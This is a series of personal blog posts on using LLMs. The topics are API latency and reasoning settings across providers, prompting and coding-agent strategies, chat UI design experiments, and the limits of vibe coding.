Aggregate Statistics

Model	TTFT (mean/stdev)	Chunk Latency (mean/stdev)	Chunk Size (mean/stdev)
gpt-3.5-turbo	0.676s / 0.480s	0.005s / 0.012s	5.023 / 2.689
gpt-4o	1.690s / 2.292s	0.019s / 0.051s	4.799 / 2.713
gemini-1.5-flash	0.466s / 0.075s	0.293s / 0.152s	204.328 / 112.207
gemini-2.5-flash	9.763s / 0.921s	0.358s / 0.113s	219.664 / 36.831
claude-3-5-sonnet-20240620	0.755s / 0.208s	0.051s / 0.048s	13.322 / 7.398
claude-sonnet-4-20250514	1.375s / 0.158s	0.408s / 0.205s	56.379 / 18.561

I wasn’t too surprised by the results, having seen the raw stats from the first run. The providers have different chunk sizes, and latency between chunks increases roughly proportionally to the chunk size. I didn’t expect Anthropic to be as competitive with OpenAI in terms of time to first token.

One thing that stands out a lot is gemini-2.5-flash’s time to first token.

Different approaches to reasoning

What is going on here? This latency clearly isn’t a one-off since we did five runs.

In the Gemini documentation on how to call the Gemini models using the OpenAI API, it says:

Unlike the Gemini API, the OpenAI API offers three levels of thinking control: “low”, “medium”, and “high”, which map to 1,024, 8,192, and 24,576 tokens, respectively.

If you want to disable thinking, you can set reasoning_effort to “none” (note that reasoning cannot be turned off for 2.5 Pro models).

I actually didn’t realize gemini-2.5-flash was a reasoning model. Is it possible the reason tokens are being held back from the streaming by default? Is reasoning “on” by default for gemini-2.5-flash?

How does Anthropic handle reasoning for Sonnet 4 with the OpenAI API?

It turns out both providers offer different controls for reasoning.

Anthropic calls it “extended thinking support”.

response = client.chat.completions.create(
    model="claude-opus-4-20250514",
    messages=[...],
    extra_body={
        "thinking": { "type": "enabled", "budget_tokens": 2000 }
    }
)

Google calls it “thinking” and “reasoning effort”.

response = client.chat.completions.create(
    model="gemini-2.5-flash",
    reasoning_effort="low",
    messages=[...],
)

response = client.chat.completions.create(
    model="gemini-2.5-flash",
    messages=[...],
    extra_body={
        "extra_body": {
            "google": {
                "thinking_config": {"thinking_budget": 800, "include_thoughts": True}
            }
        }
    },
)

So let’s play with those. I was curious to see how or if they’re supported in streaming mode.

Starting with Claude, I tried with claude-3-5-sonnet-20240620.

openai.BadRequestError: Error code: 400 - {'error': {'code': 'invalid_request_error', 'message': "'claude-3-5-sonnet-20240620' does not support thinking.", 'type': 'invalid_request_error', 'param': None}}

Makes sense. This isn’t a reasoning model.

Moving to claude-sonnet-4-20250514, for various token budget sizes

response = client.chat.completions.create(
    model="claude-sonnet-4-20250514",
    messages=[
        {"role": "system", "content": "You are a helpful assistant."},
        {"role": "user", "content": "Write a story about a robot."},
    ],
    extra_body={"thinking": {"type": "enabled", "budget_tokens": 1024}},
)

The chart below contains the aggregated stats for five runs of claude-sonnet-4-20250514 with different thinking modes. The suffixes denote the thinking token budget given to Claude for the runs that were aggregated in the plot. No suffixes indicate the default reasoning behavior of the model.

With a thinking token budget, the time to first token is higher. Inspecting the response chunks, we don’t see any of the thinking. It turns out, using the OpenAI Python client, we can’t see the thinking:

The OpenAI SDK won’t return Claude’s detailed thought process https://docs.anthropic.com/en/api/openai-sdk#extended-thinking-support

So, the time to first token is higher when thinking, and that seems to be relatively constant across the specified thinking token budgets.

With Gemini, I tried with gemini-1.5-flash and got this error

openai.BadRequestError: Error code: 400 - [{'error': {'code': 400, 'message': 'Unable to submit request because thinking is not supported by this model. Learn more: https://cloud.google.com/vertex-ai/generative-ai/docs/model-reference/gemini', 'status': 'INVALID_ARGUMENT'}}]

With gemini-2.5-flash, I first tried with reasoning_effort="low". Time to first token was still a few seconds. The reasoning tokens did not stream.

Switching to the “thinking” approach (with a budget of a lot of tokens)

extra_body={
    'extra_body': {
        "google": {
                "thinking_config": {
                "thinking_budget": 10000,
                "include_thoughts": True
            }
        }
    }
}

on inspection of the response coming back from the model, we see text like

<thought>**Analyzing the Core Concept**

I'm starting ...

</thought>Unit 734 woke, as it did every cycle...

So when we include_thoughts, this is what they look like. Also, when we include thoughts, the time to the first token goes down, which makes sense because otherwise, we’re waiting for the model to think but not “seeing” it think. We can further validate this by setting thinking_budget to 0 and reasoning_effort to “none”.

The chart below contains the aggregated stats for five runs of the gemini-2.5-flash model with different thinking modes. The numeric suffixes denote the thinking token budget, while the others indicate the reasoning effort given to Gemini for the runs aggregated in the plot. No suffixes indicate the default reasoning behavior of the model.

When reasoning is disabled, either by setting a token budget of 0 (resulting in a time to first token of 0.40s) or by using a reasoning effort of “none” (resulting in 0.43s), the time to the first token closely matches that of gemini-1.5-flash, which is 0.46s, seen in aggregate stats.

Gemini gives us a way to specify how much thinking we want the model to do, or we can give the model a specific thinking token budget. Given the time to the first token for thinking budgets of 1,000 and 10,000 are nearly identical (1.56s and 1.57s respectively), it seems plausible that the model uses its own judgment to figure out how much thinking is needed. This approach seems to align with how Claude implements thinking, and Anthropic doesn’t give us a way to require the model to think more than it thinks it needs to, like Gemini does with reasoning_effort.

Takeaways

I started this investigation wanting to understand why the time to first token for gemini-2.5-flash was so much higher than the other models and prior versions of Gemini. It turns out gemini-2.5-flash does thinking (probably as reasoning_effort="medium" or reasoning_effort="high") by default but hides it. However, it turns out this thinking can also be disabled if you explicitly do so.

The investigation suggests that the straightforward use of the OpenAI chat completion API across different providers is nearing its end, especially for applications needing more than just text and image input support. With provider-specific features like PDF support, varied reasoning methods, Citations, and OpenAI’s shift away from the chat responses API for newer models, the hope for a unified API standard for LLMs is fading.

I am heartened to see OpenRouter serving as the layer of consistency across models and providers. I hope they’re able to continue to make this work and would love to see more of a push for an independent API standard. LiteLLM is also a great project that is continuing to make this work where they can.

Many LLM APIs now also contain nontrivial product features. What could have been some sort of protocol has morphed into competing products with competing visions.

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A few strategies to make LLMs useful for you

Tue, 24 Jun 2025 23:39:33 GMT

I was reading your blog and had a question about this:

“I noticed that my coworker was prompting for specific technical implementations, and Claude was struggling, pulling in too much context and taking an unfocused approach, whereas I would have been much more vague and general to start and refined as I saw whether Claude was on the right track.”

Would you be able to elaborate more on your thought process on how to prompt an LLM to code a task for you based on its complexity? [I …] would appreciate any examples you have from experience.

I think part of why I get good results from prompting LLMs is because I’m both willing to engage in and enjoy the process of thinking and writing with clarity. I’m the software engineer who likes to write air tight documentation, with working copy-pasteable example code in different languages. I like to be thorough, mentioning issues I ran into in the process, but I also try and value the reader’s time and attention, giving them the thing they are looking for if they aren’t interested in reading about the details.

I’ve found this process is highly effective for getting good results from LLMs as well.

But it’s not always so easy to just start writing.

Let’s say your university CS class project is to build a snake game. If you prompt an LLM to build you a snake game, it can probably do it with no further prompts. There are tons of open source implementations of snake games and even if there weren’t, the model already knows how the game works, the rules, the mechanics, and the win conditions.

However if you just prompt

User

write me a snake game

Assistant

I’ll create a Snake game using Python and Pygame. Here’s a complete implementation:

import pygame
import random
import sys

# Initialize Pygame
pygame.init()

# Constants
WINDOW_WIDTH = 800
WINDOW_HEIGHT = 600
GRID_SIZE = 20
GRID_WIDTH = WINDOW_WIDTH // GRID_SIZE
GRID_HEIGHT = WINDOW_HEIGHT // GRID_SIZE

# Colors
BLACK = (0, 0, 0)
GREEN = (0, 255, 0)
RED = (255, 0, 0)
WHITE = (255, 255, 255)
DARK_GREEN = (0, 150, 0)

# Directions
UP = (0, -1)
DOWN = (0, 1)
LEFT = (-1, 0)
RIGHT = (1, 0)

class Snake:
    def __init__(self):
        ...

the model will have to fill in a vast number of details to build the game to completion.

This includes things like

the size of the grid
the colors of the snake, food, and background
the speed of the game
whether the game should speed up over time
whether the game should have multiple levels

The list goes on.

If you prompt the model in a vague manner, it can often deliver something in the direction of what you are looking for, but it will fill in a lot of details in ways you might not want. This seems to be the default behavior of most models these days, especially coding agents. You prompt them and they get to work. They assume you’ve given them all the information they need to do the task.

However, if you’re working on something particularly complex and you know you may have some gaps in your question, you can prompt the model to prompt you for more details.

OpenAI does this with deep research agents. After you send your first prompt, the model prompts you for more details.

You can add a system prompt to any language model you are working with to get it to do this for you whenever you want.

You are an assistant to a user in a coding task. When they ask you to help them do something, prompt them for more information if anything about the task is unclear or requires more details.

User

write me a snake game

Assistant

I’d be happy to help you create a Snake game! To make sure I build exactly what you’re looking for, could you provide some more details?

Platform/Technology: What would you like me to use?
- Python with Pygame
- JavaScript (HTML5 Canvas)
- Python with Tkinter
- Another language/framework?
Features: What functionality do you want?
- Basic snake movement and food collection
- Score tracking
- Game over screen
- Different difficulty levels
- Sound effects
- High score saving
Visual style: Any preferences for:
- Window size
- Colors
- Grid-based or smooth movement
Controls:
- Arrow keys
- WASD keys
- Both options

Let me know your preferences and I’ll create a Snake game tailored to your needs!

This difference in behavior is already a substantially different approach to working with a language model. In the first case, you are largely delegating work to the model. You have some task you need to get done, you ask the model to do it, maybe it comes up with something close to what you wanted.

For most tasks, there are a lot of details.

You can offload decisions about the details to the model, but then you’re not really intellectually participating in the process of creating the thing.

Maybe you don’t care about most of the details but now you have the opportunity to specify the ones you do care about.

A follow up prompt as simple as

User

use python. let’s get to work

Assistant

Perfect! I’ll create a Snake game in Python using Pygame. Let me build a complete, playable version for you: …

is enough to send the agent to work, but a lot of good things happen in the interim.

Getting the model to prompt you for more details is an easy and effective way to make sure it is on the right track and make sure it understands what you are asking it to do. You then also have the opportunity to fill in the details you care about, steering the model to giving you a much better result. If it clearly doesn’t understand what you are asking for, you can start over with different instructions until you are convinced it does (I recommend starting over rather than trying to fix it with a follow up prompt).

This is one of several ways I experiment with models to build things.

They’re also excellent brainstorming partners, to challenge you to think through details and assumptions you’ve made about your plans. I frequently use a model with a version of the following system prompt to help me think through some new idea I have to see where it leads.

You are a thought partner to the user. You will have a conversation with the user, asking thoughtful follow up questions about what they say. You will allow the user to steer the conversation in whatever direction they choose. Only provide feedback when asked. Focus on following up to help the user deepen and clarify the ideas they are exploring.

The model’s prompt makes my thought process more of a conversation designed to elicit further thought than an independent exercise in putting words on a page — something which can oftentimes be a lot more effortful than doing what feels more or less like texting your friend about an idea you just thought of and them enthusiastically saying “tell me more” in lots of different ways.

If you feel this approach results in too much sycophancy, modify the prompt to instruct the model to challenge you more.

Find what works well for you!

That is one of the best parts about working with these incredibly flexible models.

Even just a few lines of a system prompt can change the model from something that feels difficult to use to a highly effective collaborative partner you work with daily.

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Agent Coding Strategies

Thu, 19 Jun 2025 15:18:05 GMT

note

Feel free to skip directly to the strategies if you don’t need to be convinced using agents to write code is worth your time.

If you’ve read any of my writing in the past year, you’re probably aware I’ve heavily adopted agents to build much of the software I write now. What I’ve done less of is write about the strategies I’ve used to do this.

After shadowing some colleagues, both classically technical and classically non-technical, I’ve seen good ideas come from everywhere on how to make agents build what you want them to build.

The markers of success with these approaches, above all else, seem to be persistence, a willingness to try many different things, and to learn and adapt to what does works, especially as the tools continue to change. This pivot in approach can be especially hard for people who already know how to code and have strong opinions about how to do things.

If this is you, try and suspend your disbelief. See what the tools can do for you. Your knowledge of code will be valuable, but first you need to develop this new skill of prompting a language model.

Here are some of the strategies that work for me in June 2025. I’ve tried to keep these tool agnostic as the landscape of tools is changing rapidly and I use these approaches across all agent tools I work with.

Write a spec first

For projects that I hope to keep around for a while and iterate on, I write a spec for each feature first. Sometimes, I put these in a specs folder, named yyyy-mm-dd-feature-name.md. These serve as the beginning of my conversation with the agent, which often looks like:

Implement @specs/2025-05-16-test-api-button.md

Here is an example from one of my projects:

# Test API Button

In @ApiSettingsView.swift add minimal button below the configuration value input fields to make a test api request with the configured provider, model and API key in the @ApiSettingsView.swift
Make the test request by use @OpenAIService.swift to send a "hi" message to the model API.

If the call is successful, show a green UI element.
Otherwise show a red UI element and the full error from the call.
Always allow the user to click the button to retry the connection and update the UI to show the new result.

I took this idea from Geoffrey Huntley.

The approach helps ensure that I know what I expect the agent to build. If I am fuzzy on these details, the agent will often attempt to fill them in, but if they are details I care about, I will likely need to start over adding the details to the spec because the agent can’t read my mind (even though sometimes it feels like it can).

Ensure the model has proper context

You might have noticed I used @ to reference specific files in my spec. Agents are often good enough to find the context they need by searching your codebase, but referencing specific files ensures the agent will use what you know to be the correct context where it starts to work. Most agents are pretty good at searching your codebase, but in larger codebases or in the face of ambiguity, being clear helps with quality.

For me, there is a specific exception to this rule. Sometimes I go out of my way to not be specific, particularly with languages and frameworks I am less familiar with. In these cases, I’m often not writing production-grade code and am leaning on the model to steer me in a reasonable direction. This doesn’t always work, but it seems to be better than being wrong.

Start fresh to avoid context rot

Context rot was a recently coined term to describe the process by which the past messages in an LLM conversation undermine its ability to accomplish a task going forward. Sometimes this rot comes from the agent, other times the user’s prompt, often a combination of both. It happens as the context grows towards the size limit of the context window, where most models begin to have issues with recall.

I mention this because context rot is the reason I write specs.

Fixing problematic context or instructions is fundamental to getting the agent on the right track to solving your problem.

Starting with a fresh chat or fixing a misunderstanding, typo, or mistake by deleting/editing a previous message is always better^[1] than trying to clarify the mistake with a follow-up message.

If the agent is going in the wrong direction from the first prompt, I edit the spec and start over.

I’ve also described this as “conversational inertia.” When the agent is going in the wrong direction, it tends to keep going in the wrong direction. Conversely, when the agent is going in the right direction, follow-ups can be useful, effective, and powerful while not too much of the context window is being utilized.

When I add follow-up messages, I haven’t kept a consistent habit of adding the follow-ups to the spec, but this feels important, especially if I decide to keep the specs under source control or add them to the PR description.

Use examples

This recommendation is a bit like “a picture is worth a thousand words.” If you have a working example of code that uses a pattern or library — in your codebase, from documentation, or elsewhere — this can serve as valuable context to add to your prompt.

It is more difficult and time-consuming to explain with words to the agent how you want an SDK to be used than it is to just show the agent the SDK and how it works.

I’ve successfully one-shotted RPC calls using an undocumented internal framework by showing a totally different working RPC and the protobuf definition for the RPC I wanted to call. The agent wrote a working call on the first try.

Consider if you are wrong

I was building a recipe web app for myself with a 50-50 split of two panes to list the ingredients and instructions for a recipe. I wanted the agent to edit the styling of the numbered badges in the instructions pane, but I accidentally told it to edit the badges in the ingredients pane. As a result, the agent kept trying to update the style of the tag badges above the ingredients list.

Since I wasn’t as mentally checked in as I would have been for a serious project, I wasn’t recognizing how the agent was attempting to make changes and thus missed my mistake for several attempts.

Be an active collaborator

The quality of the results I get using agents to write code seems directly correlated to how focused I am in participating in the work with the agent. I can submit a prompt then walk away, but what seems to matter consistently is that I generally consider how I would do the task and that I review the results of the agent’s work.

What does this mean for vibe coding?

It probably means the quality of the codebases written by folks familiar with code will be better than non-technical folks for a little while longer.

When I care about the endurance of the project I am working on, I’ve found I need to be an active collaborator with the agent; otherwise, it will eventually make a mistake I miss, find out about later, and can’t prompt it to dig itself out of. I ran into this exact problem when I “fully vibe coded” Pad Lander.

I’m not exactly sure if this problem will ever go away as agents improve because you can always increase the complexity by another order of magnitude.

Can the agent refactor a problematic codebase? What about a codebase 5x as large? What about 5 interdependent codebases deployed separately? What about those same 5 codebases deployed in multiple regions with eventually consistent data?

I’m not saying agents won’t eventually get there, just that they still have room to improve. Right now, the best results for me still come from actively participating. This has allowed me to keep primarily-agent-written codebases in good enough shape that I’ve been able to continue adding features to them for many months - a year or so (the capability is about a year old).

Bonus: use guardrails

Guardrails don’t strictly make the agent better at producing good results, but they often allow the agent to use feedback to run for longer and fix problems you might have to resolve yourself (or just paste back into the agent and prompt it to do it).

Guardrails come in many forms, but ones that have been most helpful for me are integration tests. For example, I start my app locally, then write code to make a request to an an API, check the response, and finally request another API to validate the system is in the expected state.

I don’t have strong opinions on the type of guardrails you add. I recommend adding guardrails that give you confidence the change you made it safe, works, and didn’t break anything else.

Different types of agent guardrails could be a post in and of itself. Maybe another time and after I try more things.

After noticing this phenomenon, I built a project called Delta (like a river delta) to enable first-class conversation branching, where I can branch off any message in the conversation to continue in a new direction but also preserve the history of other branches if useful. ↩

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Who Finds LLMs Useful and Why

Tue, 17 Jun 2025 23:53:15 GMT

Who is finding LLMs useful and who is not? And why is this the case?

Since around two years ago, I’ve been floored by the fact that I can, with increasing adherence to my instructions, get a model to write software and complete tasks for me given a good description of what I want.

This technology feels world-changing to me. I feel this way because it has changed my world and the things I am capable of accomplishing in fixed time given the skills I possess today.

I’ve talked to anyone who will listen about why I think this technology is a step-function change in how we will accomplish many knowledge tasks in the future and how I am doing so in the present.

The utility of language models is beyond apparent to me personally. Yet, I frequently read articles by folks I respect who seem to feel the opposite way. These folks do not believe language models make them faster or more effective at accomplishing their work or goals. Some seem to believe the models make them dumber and lazier. Some seem to believe the models are a poor facsimile of intelligence. Some find they don’t live up to the hype and promise.

Increasingly, I’ve sought to understand the perspective of these folks. What about how they think, how they work, or how they operate makes an LLM not useful for them?

I recently shadowed a coworker while they used Claude Code to write some software. Earlier on, I identified differences in how we engaged with and prompted the model. But more interestingly, I realized that prompting an LLM (particularly a coding agent) is a distinctly different skill than writing software.

I noticed that my coworker was prompting for specific technical implementations, and Claude was struggling, pulling in too much context and taking an unfocused approach, whereas I would have been much more vague and general to start and refined as I saw whether Claude was on the right track.

The difference mostly amounted to prompting what vs. how. I typically prompt for what I want done. They were prompting for how they wanted something done.

None of this is to say that either approach is better or worse, but rather that I think I have drastically underappreciated how many different ways there are to prompt an LLM and how different the outcomes can be as a result.

So who is not finding models useful and why? One archetype I imagined might be someone for whom writing software is the clearest way in which they are able to communicate an idea.

If it were harder for you to describe your ideas in natural language than in code, I can see why you wouldn’t think writing software with a model would be useful.

Personally, I am far better at describing my ideas in natural language than in code.

Another archetype I imagined would be someone who is expecting a perfect result from the start. They might prompt the model to “launch a Flappy Bird app clone in the app store” and end up disappointed when the model doesn’t do it.

I know that I could personally use an LLM coding agent to perform that task, but it would still take me several hours. Far less than in a pre-LLM world, but not a trivial amount of effort.

It seems if you are willing to be patient, probe, and explore, models yield some of the best results. They won’t write the perfect code on the first attempt, but they will allow you to sculpt your ideal implementation, trying several different approaches along the way.

So why do I find models useful?

I find models useful because I can describe what I want and the details I care about, and the model will follow my instructions, then fill in the rest of the details that need to be decided, but that weren’t initially my focus.

I find models useful because I can follow up and modify the details the model filled in for me and easily change those too.

I find models useful because I can use them to help me from wherever I am currently, rather than me having to modify the shape of my work to adapt to a different solution I may find reading documentation or example resources.

I find models useful because I feel a certain amount of confidence knowing that I have a tool that can reliably get my mental wheels turning when I get stuck on a task and need to figure out a path forward.

I find models useful because I can prompt them to take a first pass at something that I think could be interesting to explore further, but I won’t really be sure until I see it.

I find models useful because they generally seem to understand and be able to implement prompts that I give them in support of the vision I have, even when many other people sometimes do not.

I find models useful because they allow me to learn more about exactly what I am interested in at the exact moment I am interested in it.

I find models useful because they speed up my feedback loop of creation just enough to keep me engaged and working in a flow state.

I find models useful because they allow me to make my ideas real and tangible in more ways.

I find models useful because they help me communicate more clearly with others.

I find models useful to help me pick reasonable starting points when I am stuck or experiencing decision paralysis.

I find models useful because they help me build tools that I can use to accomplish my goals and make my life easier.

I find models useful because they help me build fun and useful things for friends and family.

I find models useful because I can prompt them to challenge my thinking to give me another perspective.

Much of my use of language models is code-focused, but I’ve had a lot of success using them to help me get started as a beginning designer, to understand legal documents and their implications, and to learn more about cloud network architecture, security, and the protocols that make the internet work.

I don’t rely on the model as gospel, but I involve them in a substantial part of my work.

Is using LLMs making me dumber? I’m not entirely sure. I may write less code by hand than ever, but I do more now than I ever have before.

I may never learn to write Haskell or D3 at a high level of proficiency without the help of a model. Given we have limited time and resources, models let me use more of my time working on the things that interest me and that I enjoy. And they give me the ability to work with more tools in service of those interests and goals.

To me, models seem to reward the curious and the persistent, but do require a healthy amount of wariness given their flaws, limitations, and record of being incorrect at times. I can’t say I always know what that looks like or practice it effectively, but I do believe working with LLMs has made a strongly positive impact on me.

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Create a Link Blog

Wed, 07 May 2025 01:05:24 GMT

RSS feeds for blogs and things you write or create are great. If you read a lot, you probably also have a lot of articles you’ve read that you share with others and occasionally revisit.

You can save and share these with very little effort! Doing so is immensely valuable. If I find your blog and like what you write, often I will also like what you like to read.

I use Raindrop which makes it easy to save and share articles.

Raindrop creates a browser friendly page and an XML feed.

I also wrote up a little page to display some of the more recently added links to the feed on my site.

If you write a link blog, share it! I’ll probably add it to my feed reader.

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LLM Chat UI Concepts

Mon, 14 Apr 2025 00:22:24 GMT

To write this post, I was going to take myself through some of the history of different chat interfaces. This is not that post. I was too impatient and decided to go in without any appreciation for prior art (beyond what I’m already aware of), because it seemed more fun at the time.

This site’s current implementation

My current UI for displaying an LLM conversation on this site looks like this. I’m going to assign identifiers to each of these UI concepts to make them easier to reference between descriptions.

User

What’s the best way to learn programming?

claude-3-7-sonnet

The best way to learn programming is by building projects that interest you. Start small, be consistent, and don’t be afraid to make mistakes. Reading documentation and tutorials is helpful, but nothing beats hands-on experience.

User

How much time should I spend coding each day?

claude-3-7-sonnet

Even 30 minutes of focused coding daily is better than occasional marathon sessions. Consistency is key. As you build the habit, you can gradually increase your time. Remember that regular practice, problem-solving, and reflection on what you’ve learned will help you progress steadily.

Top Bars

Here is a version with the “user” or the assistant names in top bars.

User

What’s the best way to learn programming?

claude-3-7-sonnet

User

How much time should I spend coding each day?

claude-3-7-sonnet

Continuous

Here’s another with the vertical gaps from Top Bars removed and the UI visually continuous with each message in a different color.

User

What’s the best way to learn programming?

claude-3-7-sonnet

User

How much time should I spend coding each day?

claude-3-7-sonnet

Columns

Let’s sort of rotate Continuous 90 degrees to the left then add the vertical labels turned 90 degrees left as well. The chat messages should each exist in a column to the left of their label. They are placed in order, next to each other from left to right. The message texts run top to bottom in each column.

User

What’s the best way to learn programming?

claude-3-7-sonnet

User

How much time should I spend coding each day?

claude-3-7-sonnet

Not sure I really like it but it’s different from most things I’ve seen.

Assistant Focus

Here’s a version where the assistant’s messages are shown prominently and the user’s message only appears on mouse over of a particular assistant message. On mouse over, the element animates to reveal the user message for a given assistant message. This reads more like a write up you’d create as or after you’ve done a deep dive into a topic. The user questions elicit a sort of winding narrative response from the model.

claude-3-7-sonnet

User

What’s the best way to learn programming?

claude-3-7-sonnet

User

How much time should I spend coding each day?

LLM-designed

Most of the above concepts are from my head, implemented by prompting an LLM. I was curious what would happen if I gave over some of the style decision making to Claude and Cursor. Here are a few of the results.

Code Editor

conversation.chat

⚙️

// Conversation between User and claude-3-7-sonnet

// Started: 2026-06-03T18:12:13.867Z

👤 User

[-]

What’s the best way to learn programming?

🤖 claude-3-7-sonnet

[-]

👤 User

[-]

How much time should I spend coding each day?

🤖 claude-3-7-sonnet

[-]

Claude made that one, when shown all my examples and prompted to create its own with no specific instructions as to how. It wanted the development to be in a comfortable and familiar environment.

Notebook

claude-3-7-sonnet ● Active

In [1]:

06:00 PM

                                                What's the best way to learn programming?

Out[1]:

06:03 PM

In [3]:

06:06 PM

                                                How much time should I spend coding each day?

Out[3]:

06:09 PM

Claude made this when prompted to create its own novel approach that should add value for the reader.

Timeline

06:00 PM

User

What’s the best way to learn programming?

06:03 PM

claude-3-7-sonnet

06:06 PM

User

How much time should I spend coding each day?

06:09 PM

claude-3-7-sonnet

Claude made this when prompted to create its own novel approach that should add value for the reader and still be minimal and clear.

Of all the concepts Claude implemented, I liked the Timeline the best. Most of the time, the model seemed to focus more on the styling of the UI than the specific presentation of the data. I wanted to push the agent to focus on clear and simple data presentation.

User

Take a look at @ChatAssistantFocus.astro @ChatColumns.astro @ChatTimeline.astro @ChatColumnsTopBar.astro @ChatContinuous.astro . These are all different React components for a chat. Carefully consider your strategy and come up with a simple, creative way to present chat data to a user in a surprising, but straightforward and effective way. Less is more. Write your results to @components then add the component to @index.mdx

claude-3-7-sonnet

The bubble stream presents messages in a familiar chat interface, but with a few key improvements: bubbles size themselves based on content length, have a subtle hover effect, and work with keyboard navigation for accessibility.

Bubble Stream

What’s the best way to learn programming?

How much time should I spend coding each day?

Takeaways

This experiment reinforced my sense that if I outsource parts of design or implementation that I care about to a model, I often don’t really like the results. An LLM can’t quite understand what I personally mean by “clean”, “minimal”, and “novel”. In practice these are directional concepts that mean something different to everyone. To get a model to output a design that I like, I need to provide more specifics for the model to follow.

In the case of the first few designs that I described and the model implemented, the results are quite representative of my vision. The model is good at following instructions. Its taste is not always aligned with mine.

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Models as Force Multipliers and their Limits in Software Development

Tue, 08 Apr 2025 16:29:01 GMT

I’m on a flight and wanted to write code to work on an idea. After a few moments of shifting mental gears, I popped open Zed, which allows me to code with a local LLM using ollama. My default impulse when writing code is to prompt a model. At first, I felt somewhat negative about this but with llama3.2:3b at my side, eventually I got into the rhythm of working through the idea and mostly writing the code by hand which I don’t do as often these days.

This experience of not having a good model available made me reflect for the first time in a while — how am I even thinking about when I use a LLM today to write some bit of code or functionality in a project I am working on? How do I reason about whether the LLM is up to the task and how much am I filling in the model’s gaps without realizing it?

llama3.2 feels like going back in time

One of the first things I was confronted with was how mediocre llama3.2 was as a code assistant compared to Claude Sonnet, my current daily driver. It’s not that llama3.2 can’t write code that fulfills my prompts — it mostly can — it’s that it can’t fluidly edit code inline while following prompt instructions and regenerating the specific parts of the file that need changes to comply with the instructions.

Here is an example

User

write python code to create a markdown file with created_at as frontmatter. use the stdlib only. no comments.

llama3.2

import json
from datetime import datetime

def create_markdown_file(file_name, created_at):
data = {
"created_at": created_at.strftime('%Y-%m-%d %H:%M:%S')
}
with open(f'{file_name}.md', 'w') as f:
json.dump(data, f)
f.write('\n---\n')

# create a markdown file

create_markdown_file('example', datetime.now())

This code creates an example.md containing

## {"created_at": "2025-04-08 12:45:00"}

Maybe not exactly what I had in mind but gets enough of the way there that the output with minor modifications will do what I want. This reminds me of the days I used to use ChatGPT to help write code. I would toss in a prompt like the one above and get code that was a helpful starting point for the direction I was headed in.

These small models don’t work very well as editors of source code or agents because they are not consistent enough at following instructions. They are best used for chat. Using inline editor prompting (cmd+I by default in Zed) often results in strange artifacts getting added to the file and that model often does not follow instructions well. Nevertheless, chat can still go a long way.

Building software feels different now

If you’ve been following state of the art models and agents, you’re aware that these days you can push both the model alone, as well as a tool-calling agents, to build and iterate on what used to be nontrivial sized software projects (x,000 lines of code). The state of the art has pushed us so far that people can now build proof-of-concept quality, functioning software without ever directly touching code themselves. There are still plenty of challenges but this was not possible a year ago.

These capabilities are pretty incredible. I use them. They have a ceiling, but it’s one that is hard to articulate. For someone hoping to build a simple UI and deploy to Vercel, maybe this ceiling is irrelevant. Especially if they’re not familiar with code, they may not have a concept of the ceiling of the model/agent’s capabilities. They just know the agent did what they asked it to do.

Different types of software have different burdens of maintenance

Software systems don’t need to be incredibly large or complex to be useful. Plenty of software becomes less useful as it grows, bloated with features meant to extract value rather than create it. At the same time, as a codebase grows, issues of maintainability and reliability become more relevant.

If I create a registration system for a summer camp that all of a sudden breaks when I need it to be working most, that is a problem I need to solve myself if I wrote the software. If you don’t know how to write code by hand, maybe you could use a model to build this registration system today, but could you use a model to fix the system when it breaks? Most of the “life” of software is spent being maintained, not written. Most engineering jobs prioritize keeping the existing system available above any new changes or improvements.

These maintenance needs are invisible to the first-time software author (read vibe coder) until they’re obvious.

The system breaks.

Someone compromised your system’s data.

The system is overwhelmed by traffic.

These are realities of software in the world. Models are even useful for solving these problems. No perfect system exists — it’s all about making tradeoffs within the constraints.

Models are force multipliers

Right now we’re in a period of adjustment. I’m still surprised by how much code I can write with simple instructions and how much progress I can make on a project in fixed time relative to what has previous been possible. But many of the realities of building software that needs to run reliably and be secure have not changed. If I am still the responsible party for handling and being accountable for issues with software, then models are simply tools for me.

It would be ill advised to generate and merge code for a system I was oncall for without carefully reading and testing that code. It’s much easier to deal with any problems with that code before it makes it to production. Knowing whether things work requires verification, by a human, tests, or trusted system.

Models are currently a force multiplier. With a powerful model, I can build a ChatGPT clone in Swift in days or weeks instead of weeks or months. I can get code in any language to solve a simple problem like formatting a date as yyyy-mm-dd in a few seconds instead of minutes a very high percentage of the time.

Such a force multiplier empowers a larger number of people to realize a vision they have in less time and with fewer resources. It empowers people to use their existing skills in different ways. It makes the computer a more powerful tool for more people.

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Vibe Coding in early 2025

Sun, 06 Apr 2025 13:50:16 GMT

This post is an edit and repost of my rant from Bluesky

Some problems with vibe coding

Having done a lot of vibe coding lately, I think I’ll move away from it (for now) as a primary approach to build any software that I care about, even a little bit. Current agents eventually fail to adhere to some prompt despite various attempts and approaches. Whenever this happens and I look in the codebase I am usually mortified by what I find.

You might argue I need to use rules better or something like that. I would say that isn’t vibe coding as I understand it. I interpret vibe coding as the agent addressing whatever whim I have in the realm of the possible, figuring it out for me. Mostly, I end up with spaghetti codebases that the agent cannot untangle and that I don’t want to untangle.

Agents have a strong tendency to start generating code. Give one a task and it is off to the races. In a new project, this approach isn’t the worst thing. In a project with existing functionality, this becomes a problem due to a combination of lack of context and lack of effective planning. The two go hand in hand.

Agents use search to look around a codebase to find relevant files to pull into context. You can also use rules, documentation, or READMEs to define how an agent should structure the codebase. At some point, often unbeknownst to you, the agent fails to pull a relevant file into the context window or misses reading a rule it should follow.

Initially, this oversight doesn’t manifest as a problem. The agent does what it does best: writes some code to solve the problem. No shared states available in the React app? No problem, it’ll write some hooks for you. You validate the behavior in the browser. Looks good? Commit and ship. You can get away with doing this and never reading the code…for a while.

Now the codebase has fragmented state. You come back to the codebase 15 commits later. The application has grown considerably — agents are good at a lot of code. You prompt the agent to make more changes using the state and it fails. Try some follow up prompts, debug, add MCPs to pull in more context. Why isn’t it working?

Finally you crack open the code. What are you even looking at? Probably something that feels like thousands of lines of a legacy codebase, even if you wrote the whole thing that week. You can use the model to find which code deals with the problem you currently have. You’ll probably find that state is everywhere. State in hooks. State in redux. State in zustand. You really should have written more rules to define your codebase conventions.

But it’s too late. Even if you had reasonable codebase conventions, for every convention rule you do write there will be one the model eventually misses. The agent will invisibly write working code that makes decisions on your behalf, filling in under specified requirements, and eventually you will have a tangled mess of a codebase.

The code the agent writes will work and appear to meet your requirements, but if you don’t read or at least skim the code (and have some idea what you’re looking at), you’re not going to realize when the model deviates in its approach from what you consider reasonable.

This deviation becomes a problem only later when you realize it’s happened but at that point the agent has made more poor decisions based on this initial one.

